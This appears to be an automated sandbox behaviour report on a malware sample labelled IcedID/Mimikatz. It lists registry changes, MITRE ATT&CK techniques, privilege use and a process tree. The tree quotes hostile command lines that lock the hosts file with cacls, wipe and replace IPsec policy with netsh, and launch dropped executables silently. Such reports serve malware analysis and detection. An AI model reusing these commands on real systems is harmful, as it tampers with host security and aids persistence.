Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

sc.execmd.execacls.execmd.execacls.execmd.exenet.exenetsh.execmd.exenet.exenetsh.exenet.execmd.execmd.exenetsh.exenetsh.exenet.execmd.exenet1.exenetsh.exenetsh.exenetsh.exenetsh.exenet.execacls.execmd.exeqimkcel.execacls.exenetsh.execmd.exeschtasks.exenet1.exexohudmc.exevarpws.exewpcap.exenet.exenet.execmd.execmd.execmd.execmd.execmd.exenet.exenetsh.exenet1.exesc.execmd.execmd.exePING.EXEcacls.exenet1.execmd.exesc.exenet1.exe2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exenet1.exeschtasks.exenet1.execmd.execmd.exenet1.exenet1.execmd.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qimkcel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	varpws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

3632 cmd.exe
2976 PING.EXE

pid	process
3632	cmd.exe
2976	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\mrkytpbw\qimkcel.exe	nsis_installer_2
C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe	nsis_installer_1
C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe	nsis_installer_2

Modifies data under HKEY_USERS 41 IoCs

Processes:

jiurhmlkh.exejiurhmlkh.exejiurhmlkh.exeqimkcel.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	qimkcel.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	qimkcel.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	qimkcel.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	qimkcel.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	qimkcel.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	qimkcel.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	jiurhmlkh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	jiurhmlkh.exe

Modifies registry class 14 IoCs

Processes:

qimkcel.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	qimkcel.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	qimkcel.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	qimkcel.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2976 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

4700 schtasks.exe
1680 schtasks.exe
1236 schtasks.exe

pid	process
2976	PING.EXE

pid	process
4700	schtasks.exe
1680	schtasks.exe
1236	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

qimkcel.exe

pid	process
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid process

664
664
664
664
664
664
664
664
664
664
664
664
664
664
664
Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe

pid process

3552 2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe

pid	process
664
664
664
664
664
664
664
664
664
664
664
664
664
664
664

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exeqimkcel.exeqimkcel.exevfshost.exejiurhmlkh.exeikrhah.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exejiurhmlkh.exe

description	pid	process
Token: SeDebugPrivilege	3552	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2096	qimkcel.exe
Token: SeDebugPrivilege	3828	qimkcel.exe
Token: SeDebugPrivilege	4960	vfshost.exe
Token: SeDebugPrivilege	2348	jiurhmlkh.exe
Token: SeLockMemoryPrivilege	2112	ikrhah.exe
Token: SeLockMemoryPrivilege	2112	ikrhah.exe
Token: SeDebugPrivilege	3088	jiurhmlkh.exe
Token: SeDebugPrivilege	4104	jiurhmlkh.exe
Token: SeDebugPrivilege	2692	jiurhmlkh.exe
Token: SeDebugPrivilege	3496	jiurhmlkh.exe
Token: SeDebugPrivilege	2360	jiurhmlkh.exe
Token: SeDebugPrivilege	1204	jiurhmlkh.exe
Token: SeDebugPrivilege	1256	jiurhmlkh.exe
Token: SeDebugPrivilege	1140	jiurhmlkh.exe
Token: SeDebugPrivilege	2636	jiurhmlkh.exe
Token: SeDebugPrivilege	3632	jiurhmlkh.exe
Token: SeDebugPrivilege	4648	jiurhmlkh.exe
Token: SeDebugPrivilege	1680	jiurhmlkh.exe
Token: SeDebugPrivilege	3380	jiurhmlkh.exe
Token: SeDebugPrivilege	2500	jiurhmlkh.exe
Token: SeDebugPrivilege	4000	jiurhmlkh.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exeqimkcel.exeqimkcel.exexohudmc.exevarpws.exeqimkcel.exeqimkcel.exe

pid	process
3552	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
3552	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
2096	qimkcel.exe
2096	qimkcel.exe
3828	qimkcel.exe
3828	qimkcel.exe
4648	xohudmc.exe
4600	varpws.exe
5108	qimkcel.exe
5108	qimkcel.exe
3400	qimkcel.exe
3400	qimkcel.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.execmd.exeqimkcel.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3552 wrote to memory of 3632	3552	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe	cmd.exe
PID 3552 wrote to memory of 3632	3552	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe	cmd.exe
PID 3552 wrote to memory of 3632	3552	2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe	cmd.exe
PID 3632 wrote to memory of 2976	3632	cmd.exe	PING.EXE
PID 3632 wrote to memory of 2976	3632	cmd.exe	PING.EXE
PID 3632 wrote to memory of 2976	3632	cmd.exe	PING.EXE
PID 3632 wrote to memory of 2096	3632	cmd.exe	qimkcel.exe
PID 3632 wrote to memory of 2096	3632	cmd.exe	qimkcel.exe
PID 3632 wrote to memory of 2096	3632	cmd.exe	qimkcel.exe
PID 3828 wrote to memory of 4820	3828	qimkcel.exe	cmd.exe
PID 3828 wrote to memory of 4820	3828	qimkcel.exe	cmd.exe
PID 3828 wrote to memory of 4820	3828	qimkcel.exe	cmd.exe
PID 4820 wrote to memory of 4692	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 4692	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 4692	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 1120	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 1120	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 1120	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 1712	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 1712	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 1712	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 1876	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 1876	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 1876	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 2520	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 2520	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 2520	4820	cmd.exe	cmd.exe
PID 4820 wrote to memory of 4072	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 4072	4820	cmd.exe	cacls.exe
PID 4820 wrote to memory of 4072	4820	cmd.exe	cacls.exe
PID 3828 wrote to memory of 4084	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 4084	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 4084	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 1892	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 1892	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 1892	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 3280	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 3280	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 3280	3828	qimkcel.exe	netsh.exe
PID 3828 wrote to memory of 5028	3828	qimkcel.exe	cmd.exe
PID 3828 wrote to memory of 5028	3828	qimkcel.exe	cmd.exe
PID 3828 wrote to memory of 5028	3828	qimkcel.exe	cmd.exe
PID 5028 wrote to memory of 1376	5028	cmd.exe	wpcap.exe
PID 5028 wrote to memory of 1376	5028	cmd.exe	wpcap.exe
PID 5028 wrote to memory of 1376	5028	cmd.exe	wpcap.exe
PID 1376 wrote to memory of 2764	1376	wpcap.exe	net.exe
PID 1376 wrote to memory of 2764	1376	wpcap.exe	net.exe
PID 1376 wrote to memory of 2764	1376	wpcap.exe	net.exe
PID 2764 wrote to memory of 3376	2764	net.exe	net1.exe
PID 2764 wrote to memory of 3376	2764	net.exe	net1.exe
PID 2764 wrote to memory of 3376	2764	net.exe	net1.exe
PID 1376 wrote to memory of 4704	1376	wpcap.exe	net.exe
PID 1376 wrote to memory of 4704	1376	wpcap.exe	net.exe
PID 1376 wrote to memory of 4704	1376	wpcap.exe	net.exe
PID 4704 wrote to memory of 3488	4704	net.exe	net1.exe
PID 4704 wrote to memory of 3488	4704	net.exe	net1.exe
PID 4704 wrote to memory of 3488	4704	net.exe	net1.exe
PID 1376 wrote to memory of 3948	1376	wpcap.exe	net.exe
PID 1376 wrote to memory of 3948	1376	wpcap.exe	net.exe
PID 1376 wrote to memory of 3948	1376	wpcap.exe	net.exe
PID 3948 wrote to memory of 1020	3948	net.exe	net1.exe
PID 3948 wrote to memory of 1020	3948	net.exe	net1.exe
PID 3948 wrote to memory of 1020	3948	net.exe	net1.exe
PID 1376 wrote to memory of 1844	1376	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1780
- C:\Windows\TEMP\lbkubiujb\ikrhah.exe
  "C:\Windows\TEMP\lbkubiujb\ikrhah.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2112

C:\Users\Admin\AppData\Local\Temp\2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-15_53e72dae510c66039af475423b94df4b_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mrkytpbw\qimkcel.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2976
- - C:\Windows\mrkytpbw\qimkcel.exe
    C:\Windows\mrkytpbw\qimkcel.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2096

C:\Windows\mrkytpbw\qimkcel.exe
C:\Windows\mrkytpbw\qimkcel.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4692
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1712
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2520
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4084
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1892
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe
    C:\Windows\gleeqcecb\shhwuwcbk\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
